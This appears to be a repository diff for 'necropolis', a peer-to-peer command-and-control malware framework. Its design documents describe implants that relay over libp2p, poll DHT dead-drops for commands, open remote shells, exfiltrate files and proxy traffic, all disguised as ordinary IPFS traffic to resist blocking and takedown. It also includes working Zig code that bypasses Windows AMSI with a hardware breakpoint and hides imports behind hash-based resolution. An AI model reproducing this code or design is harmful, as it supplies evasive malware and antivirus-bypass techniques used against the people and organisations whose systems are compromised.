| EDR callback removal | SeDebugPrivilege + NtSetInformationProcess(40) | On init |
If the DLL fails to load, evasion is skipped. No fallback to pure Go implementations — the DLL is the only evasion path.
## Transport Configuration
The implant explicitly disables libp2p's default transports and enables only:
1. **WebSocket** — primary transport, works through most proxies
2. **WebSocket Secure** — WSS is a dial address (`/dns4/host/tcp/443/wss/p2p/peerid`), not a separate transport layer; it uses the same WebSocket transport over TLS
3. **TCP** — fallback for direct connections
No UDP, no QUIC, no multicast. This maximises sandbox/container compatibility.
The implant always connects with `network.WithAllowLimitedConn` to work through relay
circuits when direct connections are unavailable.
When started with `-wss`, the implant connects via `/dns4/<host>/tcp/443/wss/p2p/<peer-id>`
before falling back to DHT discovery and dead-drop polling.
+18
View File
@@ -0,0 +1,18 @@
# IPFS & Decentralised Infrastructure Integration
## libp2p (Used)
| Feature | Use in necropolis |
|---|---|
| **Peer Identity** | Cryptographic identity (Ed25519) for operator, implants, relays |
| **GossipSub** | PubSub topics for command/beacon messaging |
| **DHT** | Peer discovery, relay discovery, content routing |
| **AutoNAT** | NAT status detection |
| **Circuit Relay** | Relay connections when direct dial fails |
| **Hole Punching** | Direct p2p connections through NAT |
| **Stream Multiplexing** | Multiple concurrent channels per connection |
| **Noise/TLS Security** | Encrypted, authenticated transports |
## IPFS (Not Yet Implemented)
IPFS-based exfiltration was planned via the now-removed Z11 proto message but was never implemented. Screenshot capture remains a stub.
+74
View File
@@ -0,0 +1,74 @@
# Mesh Routing
## How It Works
Every Necropolis node (operator and implants) runs a circuit relay v2 service via
`libp2p.EnableRelayService()`. This means any node can relay encrypted traffic between
any two peers on the network. There is no distinction between "relay nodes" and
"client nodes". Every node is both.
Routing works in layers:
1. **Direct stream**. The implant opens a persistent `/bc/1.0.0` stream to the operator
via a direct libp2p connection. This is the primary path.
2. **PubSub fallback**. If the direct stream is unavailable, beacons and results are
published to GossipSub topics. Every node relays these topics (`Topic.Relay()`),
so even offline implants receive messages when they reconnect (GossipSub keeps the
last 10 heartbeats of history).
3. **DHT dead-drop**. When both direct streams and PubSub are unavailable, implants poll
the DHT dead-drop at `/necropolis/cmd/<id>/<nonce>` every 30s. The operator publishes
signed command envelopes to the DHT, and implants fetch them in nonce sequence.
4. **Implant-to-implant relay**. When an implant cannot reach the operator directly or
through pubsub, it routes through another implant. This happens automatically:
- Every implant advertises as a relay in the DHT under `necropolis/relay/<op-peerid>`
- Every implant discovers other relay-capable implants via DHT and connects to them
- When the direct beacon stream to the operator fails, the implant tries a circuit
relay address through each connected relay peer (`/p2p/<relay>/p2p-circuit/p2p/<op>`)
- libp2p handles the circuit negotiation; the implant just connects and opens a stream
Every node also auto-discovers relay candidates from its connected peers. Once an
implant connects to another implant (or the operator connects to an implant), libp2p's
`EnableAutoRelay` finds it as a relay candidate automatically.
## Discovery Flow
```
Operator: advertises under necropolis/<peerid> (rendezvous)
advertises under necropolis/relay/<peerid> (relay service)
finds relay peers via DHT relay namespace
Implant: finds operator via DHT rendezvous
advertises as relay under necropolis/relay/<peerid>
discovers other implants in relay namespace
connects to discovered relay peers
when direct operator connection fails, routes through relay peers
```
## Relay Health
Implants track every discovered relay peer with its connection state, last-seen time,
and fail count. Relay candidates are sorted by failCount ascending, so reliable relays are tried first. Every 30 seconds the discovery loop prunes disconnected peers. If a
relay peer drops, the next beacon attempt skips it and tries the next candidate.
## CLI
The `list` command shows which implants are acting as relays:
```
necropolis> list
0: user@hostname [linux/amd64] last=5s peer=12D3Koo... [relay]
1: admin@server [linux/amd64] last=2s peer=12D3Koo...
2 connected (1 relays)
```
## Implementation
- `pkg/transport/node.go`: `RelayRendezvousString()`, `AdvertiseRelay()`,
`FindRelayPeers()`; `EnableRelayService` in node config; `EnableAutoRelay` with
dynamic relay candidate discovery
- `implant/core/agent.go`: `advertiseRelayLoop()`, `discoverRelaysLoop()`,
`relayRendezvous()`, relay routing in `getBeaconStream()`
- `server/core/operator.go`: `advertiseRelayLoop()`, `discoverRelayPeersLoop()`,
`IsRelay` flag on `ImplantRecord`
+181
View File
@@ -0,0 +1,181 @@
# The IP-less / P2P Model
## The Core Idea
necropolis has no server, no domain, no static IP address.
In traditional C2 (Sliver, Covenant, Cobalt Strike), the implant has a hardcoded IP or
domain pointing to a VPS or redirector. That IP/domain is a single point of failure:
block it, seize the server, or sinkhole the DNS, and the operation is cut off.
necropolis instead uses **cryptographic addressing** and the **libp2p peer-to-peer network**.
Instead of "connect to 1.2.3.4:443", the implant says "find the peer whose public key matches
this hash, regardless of where it is on the planet." The network handles the discovery and
routing — the operator could be on a laptop behind NAT in a coffee shop, and as long as it's
connected to the libp2p network, implants will find it.
## How Discovery Works (Step by Step)
### 1. Bootstrap — The Only Time You Touch a Known Address
When an implant or operator first starts, it needs to find *someone* on the libp2p network.
It connects to a set of **public bootstrap peers** — the same ones used by IPFS, run by
Protocol Labs:
```
/dnsaddr/bootstrap.libp2p.io/p2p/QmNnooDu7bfjPFoTZYxMNLWUQJyrVwtbZg5gBMjTezGAJN
/dnsaddr/bootstrap.libp2p.io/p2p/QmQCU2EcMqAqQPR2i9bChDtGNJchTbq5TbXJJ16u19uLTa
...
```
These are the *only* hardcoded addresses in the binary. Their sole job is to hand you a
"phone book" (the DHT routing table) and then you never need them again. Because they're
public IPFS infrastructure used by thousands of unrelated peers, necropolis traffic is
indistinguishable from normal IPFS traffic.
The operator binary also ships with IP-based fallback multiaddrs (see
`pkg/transport/bootstrap_ip_fallbacks.go`) so it can bypass DNS entirely if needed.
### 2. DHT — The Distributed Phone Book
Once connected to any peer, the node joins the **Kademlia DHT** (Distributed Hash Table) —
a global, decentralised key-value store spread across every participating node.
The DHT is used for two things in necropolis: **rendezvous-based discovery** and **command dead-drops**.
```
Operator starts: Advertises itself under key "necropolis/<operator-peerid>"
Implant starts: Looks up key "necropolis/<operator-peerid>" in the DHT
Gets back the operator's current multiaddresses
Connects directly
```
If the operator can't publish a rendezvous or the implant can't find it, the operator
publishes signed command envelopes under `/necropolis/cmd/<id>/<nonce>` in the DHT.
Implants poll these keys sequentially every 30 seconds as a dead-drop: the operator
writes, the implant reads, no direct connection needed.
This is the **only** discovery mechanism. There is no polling, no DNS lookup, no hardcoded
endpoint. The operator can change IPs, move between networks, or go through NAT — and the
DHT always has the current address.
### 3. Relay — Getting Through NAT
If the operator is behind NAT (no public IP, no port forwarding), a direct DHT connection
may fail. libp2p handles this with **circuit relay**:
1. The operator connects to a relay peer (public libp2p node)
2. The relay gives the operator a "virtual address" (`/p2p/<relay-id>/p2p-circuit/p2p/<op-id>`)
3. The operator advertises this relay address in the DHT
4. The implant connects to the relay, which forwards traffic to the operator
Crucially, the relay sees **only encrypted bytes**. It cannot read messages, authenticate
as the operator, or modify traffic. It is a dumb pipe.
Once the implant and operator have a relay connection, libp2p attempts **hole-punching**
to upgrade to a direct connection (bypassing the relay entirely). This happens automatically
and transparently.
```
Phase 1: Implant -> Relay -> Operator (relayed, slow)
Phase 2: Implant <-> Operator (direct, fast, after hole-punch)
```
### 4. Persistent Stream — The "Beacon" Without Polling
Once connected, the implant opens a **persistent bidirectional stream** to the operator
(protocol ID `/bc/1.0.0`). This is NOT polling — it's an always-open TCP-like pipe over
the p2p network.
```
Implant sends Z1 (beacon register) on the stream every 10-15 seconds
Operator sends commands back on the same stream (or via separate /bc/1.0.0/cmd stream)
A keepalive goroutine writes cover traffic every 5 seconds to prevent relay timeout
```
If the stream dies (network blip, relay restart), the implant:
1. Re-discovers the operator via DHT
2. Opens a new persistent stream
3. Resumes normal operation
If streams and PubSub are both unavailable, the implant falls back to DHT dead-drop
polling — it reads signed command envelopes from `/necropolis/cmd/<id>/<nonce>` every 30s
and processes them through the same command handler.
There is no beacon URL, no HTTP callback, no DNS tick. The entire communication is a
single long-lived libp2p stream.
## What the Network Actually Sees
To an observer (ISP, relay operator, IDS), necropolis traffic looks like this:
```
Peer 12D3KooW... connected to Peer 12D3KooX...
Traffic: Noise-encrypted bytes (indistinguishable from any other libp2p traffic)
Topics: /b/<hash>/bx, /c/<hash>/cx (opaque strings, no identifying info)
```
There is no way to distinguish necropolis traffic from:
- An IPFS node syncing content
- A libp2p-based chat application
- Any other application built on the libp2p stack
## Operational Implications
### What You Don't Need
| Traditional C2 | necropolis |
|---|---|
| A VPS or cloud server | Nothing — use the public libp2p network |
| A domain name | No DNS needed |
| A static IP address | Any network, even behind NAT |
| A redirector / CDN | Relays are free and already exist |
| TLS certificates | libp2p Noise handles encryption |
| Firewall rules | No inbound ports needed |
| DNS records | No DNS at all |
### What You Need
1. **Internet access** — the only requirement. The operator needs outbound connectivity to
reach the libp2p network (any port, any protocol the network allows).
2. **An operator key** — generated on first run and stored at `~/.necropolis/operator.key`.
This is the root of trust. No key = no access.
3. **The operator's public key** — needed to build implants. Export it once, embed it in
each implant at build time.
### Failure Modes
| Scenario | What Happens |
|---|---|
| Operator goes offline | Implants keep beaconing, detecting disconnect after ~30s. They re-register when operator comes back. |
| DHT is slow | Implants retry every 15s. The operator also discovers implants via inbound beacon streams. |
| Relay goes down | Implant reconnects via DHT to a new relay. Hole-punching happens automatically. |
| Bootstrap peers unreachable | Implants retry. The binary also ships IP-based fallback addrs to bypass DNS. |
| Operator changes network | The DHT is updated within minutes. Implants re-discover via the next discovery cycle. |
## The Role of PubSub (Fallback)
Direct streams are the primary communication channel. **PubSub (GossipSub) is only a fallback**
for when direct streams are unavailable. Topics follow this pattern:
```
/b/<operator-peerid>/bx — Beacons (implant -> operator, fallback)
/c/<operator-peerid>/cx — Commands (operator -> implant, fallback)
/b/<operator-peerid>/tx/<id> — Per-implant task topics
```
In normal operation, PubSub is unused. The implant talks to the operator over the
persistent stream, and the operator sends commands over a separate stream.
PubSub only activates if the persistent stream cannot be established or re-established.
## Why This Works at Scale
The libp2p network has millions of active peers (IPFS alone). necropolis traffic uses the
same Noise encryption as every other libp2p connection. Cover traffic masks beacon
intervals. Stream multiplexing and DHT lookups look identical to any other libp2p
application. The operator's address changes, so there is no single IP to correlate.
This is the fundamental difference from any HTTP-based C2: there is no destination
to block because the destination is a cryptographic identity, not a network address.
+131
View File
@@ -0,0 +1,131 @@
# necropolis Protocol Specification
## 1. Peer Identity
### 1.1 Key Derivation
```
Operator Key: Ed25519 private key (operator.priv)
Operator PeerID: libp2p PeerID derived from operator.priv public key
Implant Key: Ephemeral Ed25519 (generated on first run)
Implant PeerID: libp2p PeerID from implant public key
```
### 1.2 Implant Certificate
On first execution, the implant generates:
- `implant.ed25519` - ephemeral keypair
- Registration envelope signed by operator key (embedded at build time)
## 2. Topic Structure (PubSub Fallback)
Topics are used as a fallback when direct streams are unavailable. Topic IDs use short opaque prefixes to reduce wire fingerprinting.
```
/b/<operator-peerid>/bx # Beacons — implants -> operator (pubsub fallback)
/c/<operator-peerid>/cx # Commands — operator -> implant (pubsub fallback)
/t/<operator-peerid>/tx/<id> # Per-implant task topics (pubsub fallback)
/necropolis/cmd/<id>/<nonce> # DHT dead-drop — operator -> implant command envelopes
```
Primary communication uses direct libp2p streams (see section 4). DHT dead-drop is the 4th transport rung — implants poll `/necropolis/cmd/<id>/<nonce>` in sequence every 30s for signed command envelopes published by the operator.
### Topic Authorisation
- `beacons` topic: messages validated against implant's public key
- Operator drops messages not signed by known implants on `beacons`
## 3. Envelope Format
All messages use Protocol Buffers. Message types use opaque Z-series identifiers.
```protobuf
package apb;
message Envelope {
int64 ID = 1;
uint32 Type = 2;
bytes Data = 3;
bytes Signature = 4; // Signed by sender's key
bytes SenderKey = 5; // Public key of sender
bytes Token = 6; // Auth token (32 bytes, operator-specific)
}
The Token field carries a 32-byte random value generated per operator at first run. Implants embed it at build time and reject any Envelope with a mismatched token. This prevents unauthorized peers from sending commands even if the operator's Ed25519 public key is known.
// Z1 — Beacon register (async beacon mode)
message Z1 {
string ID = 1;
int64 Interval = 2;
int64 Jitter = 3;
Register Register = 4; // commonpb.Register
int64 NextCheckin = 5;
}
```
## 4. Protocol IDs
Direct libp2p streams use short protocol IDs:
| Protocol | ID | Purpose |
|---|---|---|
| Beacon | `/bc/1.0.0` | Persistent beacon stream (implant -> operator) |
| Command | `/bc/1.0.0/cmd` | Command delivery (operator -> implant) |
| Shell | `/x/sh/1.0.0` | Interactive shell (Ctrl+] to exit) |
| Port forward | `/x/pf/1.0.0` | TCP port forwarding |
| SOCKS | `/x/sk/1.0.0` | SOCKS proxy tunnel |
WSS connections use standard `/dns4/<host>/tcp/443/wss/p2p/<peer-id>` multiaddrs — no custom protocol ID.
## 5. Transport Chain
Implants attempt connections in order:
1. Direct libp2p peer (`-peer`)
2. WSS transport (`-wss`)
3. DHT rendezvous discovery (goroutine, 15s)
4. DHT dead-drop polling (goroutine, 30s) — signed command envelopes at `/necropolis/cmd/<id>/<nonce>`
## 6. Session Types
### 6.1 Beacon Mode (Persistent Stream)
1. Implant opens persistent `/bc/1.0.0` stream to operator (relay-aware, `AllowLimitedConn`)
2. Implant sends signed `Z1` (beacon register) on the stream every 10-15s
3. A separate goroutine writes `MsgTypeCover` envelopes every 5s to prevent relay idle timeout
4. Operator reads messages in a loop, updates `LastCheckin`, dispatches by type
5. Results (`MsgTypeLs`, `MsgTypePs`, etc.) are sent on the same persistent stream
6. If the stream dies, implant reconnects via DHT discovery + `openBeaconStream`
### 6.2 Command Delivery (Direct Stream)
1. Operator opens a `/bc/1.0.0/cmd` stream to implant (relay-aware, `AllowLimitedConn`)
2. Operator signs the envelope and writes it length-prefixed
3. Implant reads, verifies signature against embedded operator pubkey, dispatches
4. Implant processes the command and sends the result on the persistent beacon stream
### 6.3 Interactive Session Mode (Stream)
1. Operator initiates direct libp2p stream to implant
2. Bidirectional encrypted stream for shell/portfwd/socks
3. Uses libp2p stream multiplexing
4. In shell, type `exit` or press **Ctrl+]** to return to the operator prompt
## 7. Message Types
| Type | ID | Direction | Description |
|---|---|---|---|
| COVER | 127 | Implant -> Op | Cover traffic (silently dropped by operator) |
| REGISTER | 0 | Implant -> Op | Initial beacon/registration |
| TASK | 2 | Op -> Implant | Execute command |
| TASK_RESULT | 3 | Implant -> Op | Command output |
| SHELL | 4 | Bidirectional | Interactive shell |
| DOWNLOAD | 5 | Implant -> Op | File exfiltration |
| UPLOAD | 6 | Op -> Implant | File deployment |
| SOCKS | 7 | Bidirectional | SOCKS proxy tunnel |
| PORTFWD | 8 | Bidirectional | Port forwarding |
| SCREENSHOT | 9 | Implant -> Op | Screen capture |
| LS | 10 | Op -> Implant | List directory |
| CD | 11 | Op -> Implant | Change directory |
| PWD | 12 | Op -> Implant | Print working directory |
| EXECUTE | 13 | Op -> Implant | Run command |
| KILL | 14 | Op -> Implant | Self-terminate |
| PS | 15 | Implant -> Op | Process list result |
| DEADMAN | 16 | Op -> Implant | Dead man switch |
| DISCONNECT | 255 | Bidirectional | Clean close |
+92
View File
@@ -0,0 +1,92 @@
# Security Model — Sole Ownership & Permissioned Access
## Core Principle
**You are the sole owner of your data. No relay operator or ISP observer can read your
C2 traffic, identify your implants, or access exfiltrated data.**
Centralised C2 frameworks let a server operator (or hosting provider, or law enforcement)
seize the server and read everything. necropolis's decentralised model puts cryptographic
ownership and access control at every layer instead.
## End-to-End Ownership
### 1. Operator Key = Ownership
The operator's Ed25519 private key is the root of trust. It is never shared with
relays or bootstrap peers, never stored on any network, and is the sole credential
that can authorise implants and decrypt data.
```
Operator Private Key (NEVER leaves operator's machine)
├── Derives Operator PeerID (public identity)
├── Signs implant binaries (proves ownership)
├── Signs all commands (authenticity)
└── Signs beacon registration (proves implant authenticity)
```
### 2. What a Relay/Bootstrap Peer Sees
A libp2p relay forwards encrypted traffic. It sees:
- `Source PeerID -> Destination PeerID` (who is talking to whom)
- Encrypted bytes (cannot read contents)
- PubSub topic names (e.g., `/c/<peerid>/cx`) — topic IDs are hashes of the operator's public key
Relays cannot decrypt message contents, authenticate as the operator, send commands
to implants, distinguish C2 traffic from any other libp2p traffic, or identify the
data as C2 traffic.
## Layered Encryption
| Layer | Protocol | Protects |
|---|---|---|
| Transport | libp2p Noise XX / TLS 1.3 | Eavesdropping, MITM on wire |
| PubSub | Envelope signing (Ed25519) | Impersonation, replay |
| NaCl Box | Bidirectional encryption | Implant and operator each generate box keypairs. Implant pubkey sent in beacon register. Operator encrypts commands with implant pubkey, implant encrypts responses with operator pubkey. Both directions ride on Noise + box. |
| Message | Per-message signing | Integrity, authenticity |
| Auth Token | 32-byte operator-specific token | Prevents unauthorized command injection on implant side. Operator accepts beacons from any authenticated peer. |
| Command | Signed envelopes | Only operator can send commands |
- **Message authentication** — Every Envelope carries a 32-byte operator-specific auth token. Auth token prevents unauthorized command injection on the implant side. Operator accepts beacons from any authenticated peer.
## Threat Model & Guarantees
### Operator is compromised
- **Impact**: Total loss — attacker controls everything
- **Mitigation**: Multi-operator support; each operator has their own key
- **Hardware key support** (future): Store operator key on YubiKey / TPM
### libp2p relay is malicious
- **Impact**: Can see PeerIDs communicating, drop relay traffic
- **Mitigation**: Relays only see encrypted bytes; hole-punching avoids relays after connection
- **Cannot**: Read messages, impersonate operator, modify traffic
### DHT / Sybil attack
- **Impact**: Attacker could intercept peer discovery
- **Mitigation**: Implants store direct backup peer list; operator PeerID is signed
- **Cannot**: Forge operator identity, decrypt messages
### Social / Traffic analysis
- **Impact**: Observer sees that "PeerID X talks to PeerID Y"
- **Mitigation**:
- Cover traffic (random noise published to topics) masks beacon timing signatures
## Data Sovereignty Checklist
| Concern | How necropolis Addresses It |
|---|---|
| Who owns the data? | Only the operator — data encrypted before touching the network |
| Who can read commands? | Only implants with the operator's public key embedded |
| Who can send commands? | Only the operator with the private key |
| Who knows implant locations? | Only the operator (discovery via signed DHT records) |
| Can a relay block me? | Yes, but any libp2p relay works — use multiple |
| Can traffic be identified as C2? | No — indistinguishable from regular p2p traffic |
## Operational Security Recommendations
1. **Generate operator key on an air-gapped machine** and transfer only the public key
2. **Use unique implant keypairs** — never reuse across engagements
3. **Rotate operator key** periodically
4. **Enable cover traffic** to mask beacon timing signatures
5. **Self-host a libp2p relay** for resilience against public relay rate limits
6. **Prefer hole-punching** over relayed connections for sensitive sessions
+192
View File
@@ -0,0 +1,192 @@
# Operator Design
## Architecture
The "server" is not a traditional server — it's an **operator node** that participates in the
libp2p network as a peer. There is no central infrastructure, no VPS requirement, and no
listening port that needs to be exposed to the internet.
```
┌──────────────────────────────────────────────────────────┐
│ Operator Node Process │
│ │
│ ┌──────────────────────────────────────────────────┐ │
│ │ server/core/operator.go │ │
│ │ ┌──────────┐ ┌──────────┐ ┌────────────────┐ │ │
│ │ │ RunCLI() │ │ Implant │ │ handlers │ │ │
│ │ │ (liner) │ │ Registry │ │ (ps, ls, exec, │ │ │
│ │ │ │ │ │ │ cd, pwd, d/l, │ │ │
│ │ │ │ │ │ │ upload, shell, │ │ │
│ │ │ │ │ │ │ portfwd, socks,│ │ │
│ │ │ │ │ │ │ kill, deadman) │ │ │
│ │ └────┬─────┘ └────┬─────┘ └────────┬───────┘ │ │
│ │ │ │ │ │ │
│ │ └──────────────┴─────────────────┘ │ │
│ │ │ │ │
│ │ ┌──────┴──────┐ │ │
│ │ │ transport │ │ │
│ │ │ (libp2p) │ │ │
│ │ └─────────────┘ │ │
│ └──────────────────────────────────────────────────┘ │
│ │
│ ┌──────────────────────────────────────────────────┐ │
│ │ server/core/generate.go │ │
│ │ Cross-compile implants with embedded keys │ │
│ └──────────────────────────────────────────────────┘ │
└──────────────────────────────────────────────────────────┘
libp2p Network
```
## Directory Structure
```
server/
└── core/
├── run.go # Entry point: load keys, create operator, start CLI
├── operator.go # Core operator logic (708 lines)
│ ├── ImplantRecord # In-memory implant metadata
│ ├── Operator # Main struct: keys, node, messenger, implant registry
│ ├── NewOperator() # Constructor — creates libp2p node, messenger
│ ├── Start() # Connects to network, starts DHT, listens for beacons
│ ├── handleBeaconStream # Persistent stream reader from implants
│ ├── handleMessage # Message dispatch by type
│ ├── sendCommandToImplant # Sends signed command via direct stream
│ ├── OpenShell() # Interactive PTY shell via direct libp2p stream
│ ├── Portfwd() # TCP port forwarding through implant
│ ├── Ls/Cd/Pwd/Ps/Execute/Download/Upload/Kill/DeadMan
│ └── disconnectCheckLoop # Detects silent implants via heartbeat timeout
├── cli.go # Readline-based interactive console (liner)
│ ├── RunCLI() # Main loop — parser/dispatch
│ ├── commandHelp # Help text for all commands
│ └── saveHistory/shortenStr
├── generate.go # Implant build system (470 lines)
│ ├── RunGenerate() # CLI flag parser
│ ├── BuildImplant() # Key generation, source extraction, cross-compilation
│ ├── prepareBuildDir() # Extracts embedded source, injects keys
│ ├── ensureGo() # Auto-installs Go if missing
│ ├── ensureGarble() # Auto-installs garble if missing
│ └── writeQuietStub() # Daemonise stub for --quiet mode
├── socks_proxy.go # SOCKS5 proxy through implant (397 lines)
│ ├── SocksStart/Stop/List
│ ├── handleSocksConn # Full SOCKS5 handshake (auth, connect, relay)
│ ├── LoadSocksCreds/SaveSocksCreds
│ └── pickImplantPeerID/pickRandomImplant
└── embedsrc/
└── embed.go # Embeds implant_src.tar.gz via Go 1.16 embed
```
## Key Responsibilities
### 1. Implant Discovery & Registration
The operator does NOT actively discover implants. Instead:
1. The operator **advertises itself** in the DHT under the rendezvous key
`necropolis/<operator-peerid>`
2. Implants find the operator via DHT lookup and open a persistent beacon stream
3. The operator also accepts inbound beacon streams (`/bc/1.0.0`) from any peer
4. When a direct stream can't be established, the operator publishes signed command
envelopes to the DHT dead-drop at `/necropolis/cmd/<id>/<nonce>` — implants poll
this every 30s
5. Each `Z1` (beacon register) is signature-verified against the sender's public key
6. Implants are tracked in an in-memory `map[string]*ImplantRecord` keyed by PeerID
```
Beacon Stream Flow:
Implant opens /bc/1.0.0 stream ──→ Operator accepts in handleBeaconStream
└── Loop:
read length-prefixed protobuf
verify signature
dispatch by envelope.Type
update LastCheckin
```
### 2. Implant Tracking
Each `ImplantRecord` stores:
```go
type ImplantRecord struct {
Name, Hostname, UUID, Username string
UID, GID, OS, Arch string
PID int32
PeerID, Version, ActiveC2 string
Locale string
LastCheckin time.Time
Interval, Jitter time.Duration
PublicKey crypto.PubKey
Disconnected bool
}
```
A background goroutine (`disconnectCheckLoop`) runs every 30 seconds. Any implant whose
`LastCheckin` exceeds `Interval + Jitter + 30s` is marked `Disconnected = true`.
### 3. Command Dispatch
Commands are sent over **direct libp2p streams** (`/bc/1.0.0/cmd`) — not over pubsub.
```
Operator CLI Operator core Implant
│ │ │
│ exec("whoami") │ │
│ ─────────────────→ │ │
│ │ Z14{Path:"whoami"} │
│ │ sign envelope │
│ │ open /bc/1.0.0/cmd │
│ │ ───────────────────→ │
│ │ │ exec.Command("whoami")
│ │ │ capture output
│ │ Z15{Stdout:"root\n"} │
│ │ ←─────────────────── │
│ "command sent" │ │
│ ← result printed via │ │
│ handleExecuteResult() │ │
```
### 4. Interactive Sessions
Shell, port forwarding, and SOCKS all use **direct libp2p streams** with bidirectional
`io.Copy`. These bypass the envelope/signing layer entirely — once the stream is
established, raw bytes flow in both directions.
| Feature | Protocol ID | How It Works |
|---|---|---|
| Shell | `/x/sh/1.0.0` | Operator sends winsize, implant starts PTY, bidirectional I/O |
| Portfwd | `/x/pf/1.0.0` | Operator sends target address, implant dials TCP, relay |
| SOCKS | `/x/sk/1.0.0` | Operator handles SOCKS5 handshake locally, sends target over stream |
Shell is terminated by typing `exit` or pressing **Ctrl+]** (0x1d byte), which triggers an
escape in the `shellEscaper` reader on the operator side.
### 5. Implant Generation
The operator binary is self-contained — it embeds the entire implant source tree as
`implant_src.tar.gz` via Go's `//go:embed`. At generation time:
1. The embedded tarball is extracted to a temp directory
2. The operator's public key and a fresh implant keypair are written as Go source files
3. Optional build tags are added (antivm, evasion, quiet mode)
4. When `--evasion` is set, the embedded `valak.dll` (Zig kernel evasion DLL) is
compiled into the implant binary via `//go:embed`. At runtime the DLL is loaded
from memory and provides FreshyCalls syscall dispatch, AMSI/ETW bypass, module stomping,
AMSI bypass via hardware breakpoint, and ETW patching.
5. `go build` (or `garble build`) cross-compiles for the target
6. UPX compression and ELF stripping are applied as post-processing
## SOCKS5 Proxy
The operator can act as a SOCKS5 proxy, routing traffic through an implant:
```
SOCKS client (browser) ←→ Operator (SOCKS5 handler) ←libp2p stream→ Implant ←→ Target
```
Features:
- Username/password authentication (SHA-256 hashed, saved to `~/.necropolis/socks.json`)
- Random implant selection per request
- Multiple simultaneous proxy instances on different ports
+51
View File
@@ -0,0 +1,51 @@
// 4. AMSI bypass — hardware breakpoint on AmsiScanBuffer. No bytes modified in amsi.dll.
// 1. g_veh_handle — VEH registration handle, g_amsi_scan_addr — cached AmsiScanBuffer address.
// 2. amsi_veh_handler — SINGLE_STEP → RAX=0 (AMSI_RESULT_CLEAN), skip the function body.
// 3. patch_amsi — LoadLibraryW("amsi.dll") → GetProcAddress → AddVectoredExceptionHandler →
// SuspendThread → SetThreadContext(DR0=scan_addr, DR7=1) → ResumeThread.
// Suspend/Resume pair is required because SetThreadContext while running can race.
const std = @import("std");
const win = @import("win32.zig");
const api = @import("api.zig");
var g_veh_handle: ?*anyopaque = null;
var g_amsi_scan_addr: ?*anyopaque = null;
// VEH handler: on SINGLE_STEP at g_amsi_scan_addr → RAX=0, RIP=ret_addr, skip function
fn amsi_veh_handler(ex: *win.EXCEPTION_POINTERS) callconv(win.WINAPI) win.LONG {
if (ex.ExceptionRecord.ExceptionCode == win.EXCEPTION_SINGLE_STEP and
ex.ExceptionRecord.ExceptionAddress == g_amsi_scan_addr)
{
ex.ContextRecord.Rax = 0; // AMSI_RESULT_CLEAN
const ret_addr = @as(*usize, @ptrCast(@alignCast(@as(*anyopaque, @ptrFromInt(ex.ContextRecord.Rsp))))).*;
ex.ContextRecord.Rip = ret_addr; // jump to AmsiScanBuffer's caller
ex.ContextRecord.Rsp += 8; // pop return address
return win.EXCEPTION_CONTINUE_EXECUTION;
}
return win.EXCEPTION_CONTINUE_SEARCH;
}
pub fn patch_amsi() void {
if (g_veh_handle != null) return;
api.ensure();
const load_w = api.amsi_load_library_w orelse return;
const get_addr = api.amsi_get_proc_address orelse return;
const veh = api.amsi_add_vectored_exception_handler orelse return;
const cur_thread = api.amsi_get_current_thread orelse return;
const set_ctx = api.amsi_set_thread_context orelse return;
const suspend_thread = api.amsi_suspend_thread orelse return;
const resume_thread = api.amsi_resume_thread orelse return;
const amsi = load_w(&[_:0]u16{ 'a', 'm', 's', 'i', '.', 'd', 'l', 'l', 0 });
if (amsi == null) return;
g_amsi_scan_addr = get_addr(amsi.?, "AmsiScanBuffer");
if (g_amsi_scan_addr == null) return;
g_veh_handle = veh(1, amsi_veh_handler); // 1 = first in handler chain
const thread = cur_thread();
var ctx = std.mem.zeroes(win.CONTEXT);
ctx.ContextFlags = win.CONTEXT_DEBUG_REGISTERS;
ctx.Dr0 = @intFromPtr(g_amsi_scan_addr.?); // breakpoint address
ctx.Dr7 = (1 << 0); // enable DR0 locally
_ = suspend_thread(thread);
_ = set_ctx(thread, &ctx);
_ = resume_thread(thread);
}
+551
View File
@@ -0,0 +1,551 @@
// Central function-pointer type definitions + global pointer table. Zero static imports —
// everything resolved at runtime by ensure() via resolve.zig.
// 1. Re-exports — hash_ror13, resolve_api, get_module_by_hash, get_func_by_hash, NT_SUCCESS.
// 2. Type aliases (2a-2g): exec, info, fiber, sleep, comms, bof, crypto Win32 API signatures.
// 3. Type aliases (2h): amsi/etw/hwbp — VEH, thread context, module resolution.
// 4. Type aliases (2i): privilege escalation — LookupPrivilegeValueW, AdjustTokenPrivileges.
// 5. Global vars (2a-2i): one ?T_* pointer per API, all initially null.
// 6. ensure() — walk kernel32→ntdll→winhttp→advapi32→bcrypt, resolve every pointer.
// Falls back to LoadLibrary if a module isn't already loaded.
const win = @import("win32.zig");
const resolve = @import("resolve.zig");
pub const hash_ror13 = resolve.hash_ror13;
pub const resolve_api = resolve.resolve_api;
pub const get_module_by_hash = resolve.get_module_by_hash;
pub const get_func_by_hash = resolve.get_func_by_hash;
pub const NT_SUCCESS = win.NT_SUCCESS;
pub const BCRYPT_INIT_AUTH_MODE_INFO = win.BCRYPT_INIT_AUTH_MODE_INFO;
// 2a. exec.zig — process creation, pipes, token manipulation
pub const T_exec_CreatePipe = *const fn (hReadPipe: win.PHANDLE, hWritePipe: win.PHANDLE, lpPipeAttributes: *win.SECURITY_ATTRIBUTES, nSize: win.DWORD) callconv(win.WINAPI) win.BOOL;
pub const T_exec_CreateProcessA = *const fn (lpApplicationName: ?win.LPCSTR, lpCommandLine: win.LPSTR, lpProcessAttributes: ?*win.SECURITY_ATTRIBUTES, lpThreadAttributes: ?*win.SECURITY_ATTRIBUTES, bInheritHandles: win.BOOL, dwCreationFlags: win.DWORD, lpEnvironment: ?win.LPVOID, lpCurrentDirectory: ?win.LPCSTR, lpStartupInfo: *win.STARTUPINFOA, lpProcessInformation: *win.PROCESS_INFORMATION) callconv(win.WINAPI) win.BOOL;
pub const T_exec_ReadFile = *const fn (hFile: win.HANDLE, lpBuffer: ?win.LPVOID, nNumberOfBytesToRead: win.DWORD, lpNumberOfBytesRead: win.PDWORD, lpOverlapped: ?win.LPVOID) callconv(win.WINAPI) win.BOOL;
pub const T_exec_WaitForSingleObject = *const fn (hHandle: win.HANDLE, dwMilliseconds: win.DWORD) callconv(win.WINAPI) win.DWORD;
pub const T_exec_GetExitCodeProcess = *const fn (hProcess: win.HANDLE, lpExitCode: win.PDWORD) callconv(win.WINAPI) win.BOOL;
pub const T_exec_GetLastError = *const fn () callconv(win.WINAPI) win.DWORD;
pub const T_exec_GetModuleFileNameA = *const fn (hModule: ?win.HMODULE, lpFilename: win.LPSTR, nSize: win.DWORD) callconv(win.WINAPI) win.DWORD;
